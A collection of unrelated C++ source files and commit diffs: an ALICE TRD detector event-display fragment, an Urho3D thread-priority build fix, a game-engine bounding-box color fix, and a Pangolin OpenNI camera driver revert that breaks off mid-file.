Reve; using namespace Alieve; using namespace std; ClassImp(TRDHits) ClassImp(TRDDigits) ClassImp(TRDClusters) /////////////////////////////////////////////////////////// ///////////// TRDDigits ///////////////////// /////////////////////////////////////////////////////////// //________________________________________________________ TRDDigits::TRDDigits(TRDChamber *p): OldQuadSet("digits", ""), RenderElement(), fParent(p) {} //________________________________________________________ void TRDDigits::SetData(AliTRDdigitsManager *digits) { fData.Allocate(fParent->rowMax, fParent->colMax, fParent->timeMax); // digits->Expand(); for (Int_t row = 0; row < fParent->rowMax; row++) for (Int_t col = 0; col < fParent->colMax; col++) for (Int_t time = 0; time < fParent->timeMax; time++) { if(digits->GetDigitAmp(row, col, time, fParent->GetID()) < 0) continue; fData.SetDataUnchecked(row, col, time, digits->GetDigitAmp(row, col, time, fParent->GetID())); } } //________________________________________________________ void TRDDigits::ComputeRepresentation() { // Calculate digits representation according to user settings. The // user can set the following parameters: // - digits scale (log/lin) // - digits threshold // - digits apparence (quads/boxes) fQuads.clear(); fBoxes.fBoxes.clear(); Double_t colSize, rowSize, scale; Double_t x, y, z; Int_t charge; Float_t t0; Float_t timeBinSize; AliTRDcalibDB* calibration = AliTRDcalibDB::Instance(); Double_t cloc[4][3], cglo[3]; Int_t color, dimension; fData.Expand(); for (Int_t row = 0; row < fParent->rowMax; row++) { rowSize = .5 * fParent->fPadPlane->GetRowSize(row); z = fParent->fPadPlane->GetRowPos(row) - rowSize; for (Int_t col = 0; col < fParent->colMax; col++) { colSize = .5 * fParent->fPadPlane->GetColSize(col); y = fParent->fPadPlane->GetColPos(col) - colSize; t0 = calibration->GetT0(fParent->fDet, col, row); timeBinSize = calibration->GetVdrift(fParent->fDet, col, row)/fParent->samplingFrequency; for (Int_t time = 0; time < fParent->timeMax; time++) { charge = fData.GetDataUnchecked(row, col, time); if (charge < fParent->GetDigitsThreshold()) continue; x = fParent->fX0 - (time+0.5-t0)*timeBinSize; scale = fParent->GetDigitsLog() ? TMath::Log(float(charge))/TMath::Log(1024.) : charge/1024.; color = 50+int(scale*50.); cloc[0][2] = z - rowSize * scale; cloc[0][1] = y - colSize * scale; cloc[0][0] = x; cloc[1][2] = z - rowSize * scale; cloc[1][1] = y + colSize * scale; cloc[1][0] = x; cloc[2][2] = z + rowSize * scale; cloc[2][1] = y + colSize * scale; cloc[2][0] = x; cloc[3][2] = z + rowSize * scale; cloc[3][1] = y - colSize * scale; cloc[3][0] = x; Float_t* p; if( fParent->GetDigitsBox()){ fBoxes.fBoxes.push_back(Reve::Box()); fBoxes.fBoxes.back().color[0] = (UChar_t)color; fBoxes.fBoxes.back().color[1] = (UChar_t)color; fBoxes.fBoxes.back().color[2] = (UChar_t)color; fBoxes.fBoxes.back().color[3] = (UChar_t)color; p = fBoxes.fBoxes.back().vertices; dimension = 2; } else { fQuads.push_back(Reve::Quad()); fQuads.back().ColorFromIdx(color); p = fQuads.back().vertices; dimension = 1; } for(int id=0; id<dimension; id++) for (Int_t ic = 0; ic < 4; ic++) { cloc[ic][0] -= .5 * id * timeBinSize; fParent->fGeo->RotateBack(fParent->fDet,cloc[ic],cglo); p[0] = cglo[0]; p[1] = cglo[1]; p[2] = cglo[2]; p+=3; } } // end time loop } // end col loop } // end row loop fData.Compress(1); } //________________________________________________________ void TRDDigits::Paint(Option_t *option) { if(fParent->GetDigitsBox()) fBoxes.Paint(option); else OldQuadSet::Paint(option); } //________________________________________________________ void TRDDigits::Reset() { fQuads.clear(); fBoxes.fBoxes.clear(); fData.Reset(); } /////////////////////////////////////////////////////////// ///////////// TRDHits ///////////////////// /////////////////////////////////////////////////////////// //________________________________________________________ TRDHits::TRDHits(TRDChamber *p):PointSet("hits", 20), fParent(p) {} //________________________________________________________ void TRDHits::PointSelected(Int_t n) { fParent->SpawnEditor(); AliTRDhit *h = dynamic_cast<AliTRDhit*>(GetPointId(n)); printf("\nDetector : %d\n", h->GetDetector()); printf("Region of production : %c\n", h->FromAmplification() ? 'A' : 'D'); printf("TR photon : %s\n", h->FromTRphoton() ? "Yes" : "No"); printf("Charge : %d\n", h->GetCharge()); printf("MC track label : %d\n", h->GetTrack()); printf("Time from collision : %f\n", h->GetTime()); } /////////////////////////////////////////////////////////// ///////////// TRDHits ///////////////////// /////////////////////////////////////////////////////////// //________________________________________________________ TRDClusters::TRDClusters(TRDChamber *p):TRDHits(p) {} //________________________________________________________ void TRDClusters::PointSelected(Int_t n) { fParent->SpawnEditor(); AliTRDcluster *c = dynamic_cast<AliTRDcluster*>(GetPointId(n)); printf("\nDetector : %d\n", c->GetDetector()); printf("Charge : %f\n", c->GetQ()); printf("Sum S : %4.0f\n", c->GetSumS()); printf("Time bin : %d\n", c->GetLocalTimeBin()); printf("Signals : "); Short_t *cSignals = c->GetSignals(); for(Int_t ipad=0; ipad<7; ipad++) printf("%d ", cSignals[ipad]); printf("\n"); printf("Central pad : %d\n", c->GetPadCol()); printf("MC track labels : "); for(Int_t itrk=0; itrk<3; itrk++) printf("%d ", c->GetLabel(itrk)); printf("\n"); // Bool_t AliCluster::GetGlobalCov(Float_t* cov) const // Bool_t AliCluster::GetGlobalXYZ(Float_t* xyz) const // Float_t AliCluster::GetSigmaY2() const // Float_t AliCluster::GetSigmaYZ() const // Float_t AliCluster::GetSigmaZ2() const } /////////////////////////////////////////////////////////// ///////////// TRDHitsEditor ///////////////////// /////////////////////////////////////////////////////////// TRDHitsEditor::TRDHitsEditor(const TGWindow* p, Int_t width, Int_t height, UInt_t options, Pixel_t back) : TGedFrame(p, width, height, options, back) { MakeTitle("TRD Hits"); } TRDHitsEditor::~TRDHitsEditor() {} void TRDHitsEditor::SetModel(TObject* obj) { fM = dynamic_cast<TRDHits*>(obj); // Float_t x, y, z; // for(int ihit=0; ihit<fM->GetN(); ihit++){ // fM->GetPoint(ihit, x, y, z); // printf("%3d : x=%6.3f y=%6.3f z=%6.3f\n", ihit, x, y, z); // } } /////////////////////////////////////////////////////////// ///////////// TRDDigitsEditor ///////////////////// /////////////////////////////////////////////////////////// TRDDigitsEditor::TRDDigitsEditor(const TGWindow* p, Int_t width, Int_t height, UInt_t options, Pixel_t back) : TGedFrame(p, width, height, options, back) { MakeTitle("TRD Digits"); } TRDDigitsEditor::~TRDDigitsEditor() {} void TRDDigitsEditor::SetModel(TObject* obj) { fM = dynamic_cast<TRDDigits*>(obj); fM->fParent->SpawnEditor(); // printf("Chamber %d", fM->fParent->GetID()); // for (Int_t row = 0; row < fM->fParent->GetRowMax(); row++) // for (Int_t col = 0; col < fM->fParent->GetColMax(); col++) // for (Int_t time = 0; time < fM->fParent->GetTimeMax(); time++) { // printf("\tA(%d %d %d) = %d\n", row, col, time, fM->fData.GetDataUnchecked(row, col, time)); // } } <|endoftext|>
<commit_before>// // Urho3D Engine // Copyright (c) 2008-2011 Lasse rni // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // #include "Precompiled.h" #include "Thread.h" #ifdef WIN32 #include <windows.h> #else #include <pthread.h> #endif #include "DebugNew.h" #ifdef WIN32 DWORD WINAPI ThreadFunctionStatic(void* data) { Thread* thread = static_cast<Thread*>(data); thread->ThreadFunction(); return 0; } #else void* ThreadFunctionStatic(void* data) { Thread* thread = static_cast<Thread*>(data); thread->ThreadFunction(); pthread_exit((void*)0); return 0; } #endif Thread::Thread() : handle_(0), shouldRun_(false) { } Thread::~Thread() { Stop(); } bool Thread::Start() { // Check if already running if (handle_) return false; shouldRun_ = true; #ifdef WIN32 handle_ = CreateThread(0, 0, ThreadFunctionStatic, this, 0, 0); #else handle_ = new pthread_t; pthread_attr_t type; pthread_attr_init(&type); pthread_attr_setdetachstate(&type, PTHREAD_CREATE_JOINABLE); pthread_create((pthread_t*)handle_, &type, ThreadFunctionStatic, this); #endif return handle_ != 0; } void Thread::Stop() { // Check if already stopped if (!handle_) return; shouldRun_ = false; #ifdef WIN32 WaitForSingleObject((HANDLE)handle_, INFINITE); CloseHandle((HANDLE)handle_); #else pthread_t* thread = (pthread_t*)handle_; if (thread) pthread_join(*thread, 0); delete thread; #endif handle_ = 0; } void Thread::SetPriority(int priority) { #ifdef WIN32 if (handle_) SetThreadPriority((HANDLE)handle_, priority); #else pthread_t* thread = (pthread_t*)handle_; if (thread) pthread_setschedprio(*thread, priority); #endif } <commit_msg>Fixed OSX build.<commit_after>// // Urho3D Engine // Copyright (c) 2008-2011 Lasse rni // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // #include "Precompiled.h" #include "Thread.h" #ifdef WIN32 #include <windows.h> #else #include <pthread.h> #endif #include "DebugNew.h" #ifdef WIN32 DWORD WINAPI ThreadFunctionStatic(void* data) { Thread* thread = static_cast<Thread*>(data); thread->ThreadFunction(); return 0; } #else void* ThreadFunctionStatic(void* data) { Thread* thread = static_cast<Thread*>(data); thread->ThreadFunction(); pthread_exit((void*)0); return 0; } #endif Thread::Thread() : handle_(0), shouldRun_(false) { } Thread::~Thread() { Stop(); } bool Thread::Start() { // Check if already running if (handle_) return false; shouldRun_ = true; #ifdef WIN32 handle_ = CreateThread(0, 0, ThreadFunctionStatic, this, 0, 0); #else handle_ = new pthread_t; pthread_attr_t type; pthread_attr_init(&type); pthread_attr_setdetachstate(&type, PTHREAD_CREATE_JOINABLE); pthread_create((pthread_t*)handle_, &type, ThreadFunctionStatic, this); #endif return handle_ != 0; } void Thread::Stop() { // Check if already stopped if (!handle_) return; shouldRun_ = false; #ifdef WIN32 WaitForSingleObject((HANDLE)handle_, INFINITE); CloseHandle((HANDLE)handle_); #else pthread_t* thread = (pthread_t*)handle_; if (thread) pthread_join(*thread, 0); delete thread; #endif handle_ = 0; } void Thread::SetPriority(int priority) { #ifdef WIN32 if (handle_) SetThreadPriority((HANDLE)handle_, priority); #endif #ifdef __linux__ pthread_t* thread = (pthread_t*)handle_; if (thread) pthread_setschedprio(*thread, priority); #endif } <|endoftext|>
<commit_before>#include "GameObject.h" #include "BaseComponent.h" #include "Globals.h" #include <GL/glew.h> #include "TransformComponent.h" #include <MathGeoLib/include/Math/float4x4.h> GameObject::GameObject() { BoundingBox.SetNegativeInfinity(); } GameObject::~GameObject() { } void GameObject::SetParent(GameObject* new_parent) { if(_parent != nullptr) { _parent->RemoveChild(this); new_parent->_childs.push_back(this); _parent = new_parent; } } GameObject* GameObject::GetParent() const { return _parent; } const std::vector<GameObject*>& GameObject::GetChilds() const { return _childs; } void GameObject::AddChild(GameObject* child) { if (child != nullptr) { if(child->_parent != nullptr) child->_parent->RemoveChild(this); child->_parent = this; _childs.push_back(child); } } void GameObject::RemoveChild(const GameObject* child) { if(!_childs.empty()) { for (auto it = _childs.begin(); it != _childs.cend(); ++it) { if (*it == child) { _childs.erase(it); break; } } } } const std::list<BaseComponent*>& GameObject::GetComponents() const { return _components; } void GameObject::AddComponent(BaseComponent* component) { if (component != nullptr) { component->Parent = this; _components.push_back(component); if (component->Name == "Transform") _transform = static_cast<TransformComponent*>(component); } } BaseComponent* GameObject::GetComponentByName(const std::string& name) const { for (BaseComponent* component : _components) { if (component->Name == name) return component; } return nullptr; } void GameObject::DeleteComponentByName(const std::string& name) { if(!_components.empty()) { for (auto it = _components.begin(); it != _components.cend(); ++it) { if ((*it)->Name == name) { _components.erase(it); (*it)->CleanUp(); RELEASE(*it); } } } } void GameObject::DeleteComponent(BaseComponent* component) { _components.remove(component); } TransformComponent* GameObject::GetTransform() const { return _transform; } void GameObject::DrawBoundingBox() { glPushMatrix(); if (BoundingBox.IsFinite()) { glColor3f(0.f, 255.f, 0.f); glLineWidth(3.f); glBegin(GL_LINES); vec points[8]; BoundingBox.GetCornerPoints(points); // LEFT SIDE glVertex3fv(&points[0][0]); glVertex3fv(&points[1][0]); glVertex3fv(&points[0][0]); glVertex3fv(&points[2][0]); glVertex3fv(&points[2][0]); glVertex3fv(&points[3][0]); glVertex3fv(&points[3][0]); glVertex3fv(&points[1][0]); // BACK SIDE glVertex3fv(&points[0][0]); glVertex3fv(&points[4][0]); glVertex3fv(&points[2][0]); glVertex3fv(&points[6][0]); glVertex3fv(&points[4][0]); glVertex3fv(&points[6][0]); // RIGHT SIDE glVertex3fv(&points[6][0]); glVertex3fv(&points[7][0]); glVertex3fv(&points[4][0]); glVertex3fv(&points[5][0]); glVertex3fv(&points[7][0]); glVertex3fv(&points[5][0]); // FRONT SIDE glVertex3fv(&points[1][0]); glVertex3fv(&points[5][0]); glVertex3fv(&points[3][0]); glVertex3fv(&points[7][0]); glEnd(); } glPopMatrix(); } void GameObject::DrawHierachy() { GLboolean light = glIsEnabled(GL_LIGHTING); glDisable(GL_LIGHTING); glColor4f(0.f, 0.f, 1.f, 1.f); float4x4 transform = float4x4::identity; for (GameObject* child : _childs) child->DrawHierachy(transform); glColor4f(1.f, 1.f, 1.f, 1.f); if (light) glEnable(GL_LIGHTING); } void GameObject::DrawHierachy(const float4x4& transformMatrix) { float4x4 localMatrix = transformMatrix * _transform->GetTransformMatrix(); if (_parent && _parent->_transform) { glBegin(GL_LINES); float3 parentPos = transformMatrix.Col3(3); glVertex3fv(reinterpret_cast<GLfloat*>(&parentPos)); float3 position = localMatrix.Col3(3); glVertex3fv(reinterpret_cast<GLfloat*>(&position)); glEnd(); } for (GameObject* child : _childs) child->DrawHierachy(localMatrix); } void GameObject::Update() { glPushMatrix(); glEnableClientState(GL_TEXTURE_COORD_ARRAY); for (BaseComponent* baseComponent : _components) { if(baseComponent->Enabled) baseComponent->Update(); } glBindTexture(GL_TEXTURE_2D, 0); glDisableClientState(GL_TEXTURE_COORD_ARRAY); for (GameObject* child : _childs) { child->Update(); } glEnd(); glPopMatrix(); } bool GameObject::CleanUp() { for (BaseComponent* component : _components) { component->CleanUp(); RELEASE(component); } return true; } <commit_msg>Fix bounding box color<commit_after>#include "GameObject.h" #include "BaseComponent.h" #include "Globals.h" #include <GL/glew.h> #include "TransformComponent.h" #include <MathGeoLib/include/Math/float4x4.h> GameObject::GameObject() { BoundingBox.SetNegativeInfinity(); } GameObject::~GameObject() { } void GameObject::SetParent(GameObject* new_parent) { if(_parent != nullptr) { _parent->RemoveChild(this); new_parent->_childs.push_back(this); _parent = new_parent; } } GameObject* GameObject::GetParent() const { return _parent; } const std::vector<GameObject*>& GameObject::GetChilds() const { return _childs; } void GameObject::AddChild(GameObject* child) { if (child != nullptr) { if(child->_parent != nullptr) child->_parent->RemoveChild(this); child->_parent = this; _childs.push_back(child); } } void GameObject::RemoveChild(const GameObject* child) { if(!_childs.empty()) { for (auto it = _childs.begin(); it != _childs.cend(); ++it) { if (*it == child) { _childs.erase(it); break; } } } } const std::list<BaseComponent*>& GameObject::GetComponents() const { return _components; } void GameObject::AddComponent(BaseComponent* component) { if (component != nullptr) { component->Parent = this; _components.push_back(component); if (component->Name == "Transform") _transform = static_cast<TransformComponent*>(component); } } BaseComponent* GameObject::GetComponentByName(const std::string& name) const { for (BaseComponent* component : _components) { if (component->Name == name) return component; } return nullptr; } void GameObject::DeleteComponentByName(const std::string& name) { if(!_components.empty()) { for (auto it = _components.begin(); it != _components.cend(); ++it) { if ((*it)->Name == name) { _components.erase(it); (*it)->CleanUp(); RELEASE(*it); } } } } void GameObject::DeleteComponent(BaseComponent* component) { _components.remove(component); } TransformComponent* GameObject::GetTransform() const { return _transform; } void GameObject::DrawBoundingBox() { glPushMatrix(); GLboolean light = glIsEnabled(GL_LIGHTING); glDisable(GL_LIGHTING); if (BoundingBox.IsFinite()) { glLineWidth(3.f); glBegin(GL_LINES); glColor3f(0.f, 1.f, 0.f); vec points[8]; BoundingBox.GetCornerPoints(points); // LEFT SIDE glVertex3fv(&points[0][0]); glVertex3fv(&points[1][0]); glVertex3fv(&points[0][0]); glVertex3fv(&points[2][0]); glVertex3fv(&points[2][0]); glVertex3fv(&points[3][0]); glVertex3fv(&points[3][0]); glVertex3fv(&points[1][0]); // BACK SIDE glVertex3fv(&points[0][0]); glVertex3fv(&points[4][0]); glVertex3fv(&points[2][0]); glVertex3fv(&points[6][0]); glVertex3fv(&points[4][0]); glVertex3fv(&points[6][0]); // RIGHT SIDE glVertex3fv(&points[6][0]); glVertex3fv(&points[7][0]); glVertex3fv(&points[4][0]); glVertex3fv(&points[5][0]); glVertex3fv(&points[7][0]); glVertex3fv(&points[5][0]); // FRONT SIDE glVertex3fv(&points[1][0]); glVertex3fv(&points[5][0]); glVertex3fv(&points[3][0]); glVertex3fv(&points[7][0]); glEnd(); } if (light) glEnable(GL_LIGHTING); glPopMatrix(); } void GameObject::DrawHierachy() { GLboolean light = glIsEnabled(GL_LIGHTING); glDisable(GL_LIGHTING); glColor4f(0.f, 0.f, 1.f, 1.f); float4x4 transform = float4x4::identity; for (GameObject* child : _childs) child->DrawHierachy(transform); glColor4f(1.f, 1.f, 1.f, 1.f); if (light) glEnable(GL_LIGHTING); } void GameObject::DrawHierachy(const float4x4& transformMatrix) { float4x4 localMatrix = transformMatrix * _transform->GetTransformMatrix(); if (_parent && _parent->_transform) { glBegin(GL_LINES); float3 parentPos = transformMatrix.Col3(3); glVertex3fv(reinterpret_cast<GLfloat*>(&parentPos)); float3 position = localMatrix.Col3(3); glVertex3fv(reinterpret_cast<GLfloat*>(&position)); glEnd(); } for (GameObject* child : _childs) child->DrawHierachy(localMatrix); } void GameObject::Update() { glPushMatrix(); glEnableClientState(GL_TEXTURE_COORD_ARRAY); for (BaseComponent* baseComponent : _components) { if(baseComponent->Enabled) baseComponent->Update(); } glBindTexture(GL_TEXTURE_2D, 0); glDisableClientState(GL_TEXTURE_COORD_ARRAY); for (GameObject* child : _childs) { child->Update(); } glEnd(); glPopMatrix(); } bool GameObject::CleanUp() { for (BaseComponent* component : _components) { component->CleanUp(); RELEASE(component); } return true; } <|endoftext|>
<commit_before>/* This file is part of the Pangolin Project. * http://github.com/stevenlovegrove/Pangolin * * Copyright (c) 2013 Steven Lovegrove * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ #include <pangolin/video/drivers/openni.h> #include <pangolin/factory/factory_registry.h> #include <pangolin/video/iostream_operators.h> namespace pangolin { OpenNiVideo::OpenNiVideo(OpenNiSensorType s1, OpenNiSensorType s2, ImageDim dim, int fps) { sensor_type[0] = s1; sensor_type[1] = s2; XnStatus nRetVal = XN_STATUS_OK; nRetVal = context.Init(); if (nRetVal != XN_STATUS_OK) { std::cerr << "context.Init: " << xnGetStatusString(nRetVal) << std::endl; } XnMapOutputMode mapMode; mapMode.nXRes = dim.x; mapMode.nYRes = dim.y; mapMode.nFPS = fps; sizeBytes = 0; bool use_depth = false; bool use_ir = false; bool use_rgb = false; bool depth_to_color = false; for(int i=0; i<2; ++i) { PixelFormat fmt; // Establish output pixel format for sensor streams switch( sensor_type[i] ) { case OpenNiDepth_1mm_Registered: case OpenNiDepth_1mm: case OpenNiIr: case OpenNiIrProj: fmt = PixelFormatFromString("GRAY16LE"); break; case OpenNiIr8bit: case OpenNiIr8bitProj: fmt = PixelFormatFromString("GRAY8"); break; case OpenNiRgb: fmt = PixelFormatFromString("RGB24"); break; default: continue; } switch( sensor_type[i] ) { case OpenNiDepth_1mm_Registered: depth_to_color = true; break; case OpenNiDepth_1mm: use_depth = true; break; case OpenNiIr: case OpenNiIr8bit: use_ir = true; break; case OpenNiIrProj: case OpenNiIr8bitProj: use_ir = true; use_depth = true; break; case OpenNiRgb: use_rgb = true; break; default: break; } const StreamInfo stream(fmt, mapMode.nXRes, mapMode.nYRes, (mapMode.nXRes * fmt.bpp) / 8, (unsigned char*)0 + sizeBytes); sizeBytes += stream.SizeBytes(); streams.push_back(stream); } if( use_depth ) { nRetVal = depthNode.Create(context); if (nRetVal != XN_STATUS_OK) { throw VideoException( (std::string)"Unable to create DepthNode: " + xnGetStatusString(nRetVal) ); }else{ nRetVal = depthNode.SetMapOutputMode(mapMode); if (nRetVal != XN_STATUS_OK) { throw VideoException( (std::string)"Invalid DepthNode mode: " + xnGetStatusString(nRetVal) ); } } } if( use_rgb ) { nRetVal = imageNode.Create(context); if (nRetVal != XN_STATUS_OK) { throw VideoException( (std::string)"Unable to create ImageNode: " + xnGetStatusString(nRetVal) ); }else{ nRetVal = imageNode.SetMapOutputMode(mapMode); if (nRetVal != XN_STATUS_OK) { throw VideoException( (std::string)"Invalid ImageNode mode: " + xnGetStatusString(nRetVal) ); } } } if (depth_to_color && use_rgb) { //Registration if( depthNode.IsCapabilitySupported(XN_CAPABILITY_ALTERNATIVE_VIEW_POINT) ) { nRetVal = depthNode.GetAlternativeViewPointCap().SetViewPoint( imageNode ); if (nRetVal != XN_STATUS_OK) { std::cerr << "depthNode.GetAlternativeViewPointCap().SetViewPoint(imageNode): " << xnGetStatusString(nRetVal) << std::endl; } } // Frame Sync if (depthNode.IsCapabilitySupported(XN_CAPABILITY_FRAME_SYNC)) { if (depthNode.GetFrameSyncCap().CanFrameSyncWith(imageNode)) { nRetVal = depthNode.GetFrameSyncCap().FrameSyncWith(imageNode); if (nRetVal != XN_STATUS_OK) { std::cerr << "depthNode.GetFrameSyncCap().FrameSyncWith(imageNode): " << xnGetStatusString(nRetVal) << std::endl; } } } } if( use_ir ) { nRetVal = irNode.Create(context); if (nRetVal != XN_STATUS_OK) { throw VideoException( (std::string)"Unable to create IrNode: " + xnGetStatusString(nRetVal) ); }else{ nRetVal = irNode.SetMapOutputMode(mapMode); if (nRetVal != XN_STATUS_OK) { throw VideoException( (std::string)"Invalid IrNode mode: " + xnGetStatusString(nRetVal) ); } } } Start(); } OpenNiVideo::~OpenNiVideo() { context.Release(); } size_t OpenNiVideo::SizeBytes() const { return sizeBytes; } const std::vector<StreamInfo>& OpenNiVideo::Streams() const { return streams; } void OpenNiVideo::Start() { // XnStatus nRetVal = context.StartGeneratingAll(); } void OpenNiVideo::Stop() { context.StopGeneratingAll(); } bool OpenNiVideo::GrabNext( unsigned char* image, bool /*wait*/ ) { // XnStatus nRetVal = context.WaitAndUpdateAll(); XnStatus nRetVal = context.WaitAnyUpdateAll(); // nRetVal = context.WaitOneUpdateAll(imageNode); if (nRetVal != XN_STATUS_OK) { std::cerr << "Failed updating data: " << xnGetStatusString(nRetVal) << std::endl; return false; }else{ unsigned char* out_img = image; for(int i=0; i<2; ++i) { switch (sensor_type[i]) { case OpenNiDepth_1mm: case OpenNiDepth_1mm_Registered: { const XnDepthPixel* pDepthMap = depthNode.GetDepthMap(); memcpy(out_img,pDepthMap, streams[i].SizeBytes() ); break; } case OpenNiIr: case OpenNiIrProj: { const XnIRPixel* pIrMap = irNode.GetIRMap(); memcpy(out_img, pIrMap, streams[i].SizeBytes() ); break; } case OpenNiIr8bit: case OpenNiIr8bitProj: { const XnIRPixel* pIr16Map = irNode.GetIRMap(); // rescale from 16-bit (10 effective) to 8-bit xn::IRMetaData meta_data; irNode.GetMetaData(meta_data); int w = meta_data.XRes(); int h = meta_data.YRes(); // Copy to out_img with conversion XnUInt8* pIrMapScaled = (XnUInt8*)out_img; for (int v = 0; v < h; ++v) for (int u = 0; u < w; ++u) { int val = *pIr16Map >> 2; // 10bit to 8 bit pIrMapScaled[w * v + u] = val; pIr16Map++; } break; } case OpenNiRgb: { const XnUInt8* pImageMap = imageNode.GetImageMap(); memcpy(out_img,pImageMap, streams[i].SizeBytes()); break; } default: continue; break; } out_img += streams[i].SizeBytes(); } return true; } } bool OpenNiVideo::GrabNewest( unsigned char* image, bool wait ) { return GrabNext(image,wait); } PANGOLIN_REGISTER_FACTORY(OpenNiVideo) { struct OpenNiVideoFactory final : public FactoryInterface<VideoInterface> { std::unique_ptr<VideoInterface> Open(const Uri& uri) override { const ImageDim dim = uri.Get<ImageDim>("size", ImageDim(640,480)); const unsigned int fps = uri.Get<unsigned int>("fps", 30); const bool autoexposure = uri.Get<bool>("autoexposure", true); OpenNiSensorType img1 = OpenNiRgb; OpenNiSensorType img2 = OpenNiUnassigned; if( uri.Contains("img1") ){ img1 = openni_sensor(uri.Get<std::string>("img1", "depth")); } if( uri.Contains("img2") ){ img2 = openni_sensor(uri.Get<std::string>("img2","rgb")); } OpenNiVideo* oniv = new OpenNiVideo(img1, img2, dim, fps); oniv->SetAutoExposure(autoexposure); return std::unique_ptr<VideoInterface>(oniv); } }; auto factory = std::make_shared<OpenNiVideoFactory>(); FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 10, "openni1"); FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 100, "openni"); FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 100, "oni"); FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 100, "kinect"); } } <commit_msg>Revert "fix switch statement"<commit_after>/* This file is part of the Pangolin Project. * http://github.com/stevenlovegrove/Pangolin * * Copyright (c) 2013 Steven Lovegrove * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ #include <pangolin/video/drivers/openni.h> #include <pangolin/factory/factory_registry.h> #include <pangolin/video/iostream_operators.h> namespace pangolin { OpenNiVideo::OpenNiVideo(OpenNiSensorType s1, OpenNiSensorType s2, ImageDim dim, int fps) { sensor_type[0] = s1; sensor_type[1] = s2; XnStatus nRetVal = XN_STATUS_OK; nRetVal = context.Init(); if (nRetVal != XN_STATUS_OK) { std::cerr << "context.Init: " << xnGetStatusString(nRetVal) << std::endl; } XnMapOutputMode mapMode; mapMode.nXRes = dim.x; mapMode.nYRes = dim.y; mapMode.nFPS = fps; sizeBytes = 0; bool use_depth = false; bool use_ir = false; bool use_rgb = false; bool depth_to_color = false; for(int i=0; i<2; ++i) { PixelFormat fmt; // Establish output pixel format for sensor streams switch( sensor_type[i] ) { case OpenNiDepth_1mm_Registered: case OpenNiDepth_1mm: case OpenNiIr: case OpenNiIrProj: fmt = PixelFormatFromString("GRAY16LE"); break; case OpenNiIr8bit: case OpenNiIr8bitProj: fmt = PixelFormatFromString("GRAY8"); break; case OpenNiRgb: fmt = PixelFormatFromString("RGB24"); break; default: continue; } switch( sensor_type[i] ) { case OpenNiDepth_1mm_Registered: depth_to_color = true; case OpenNiDepth_1mm: use_depth = true; break; case OpenNiIr: case OpenNiIr8bit: use_ir = true; break; case OpenNiIrProj: case OpenNiIr8bitProj: use_ir = true; use_depth = true; break; case OpenNiRgb: use_rgb 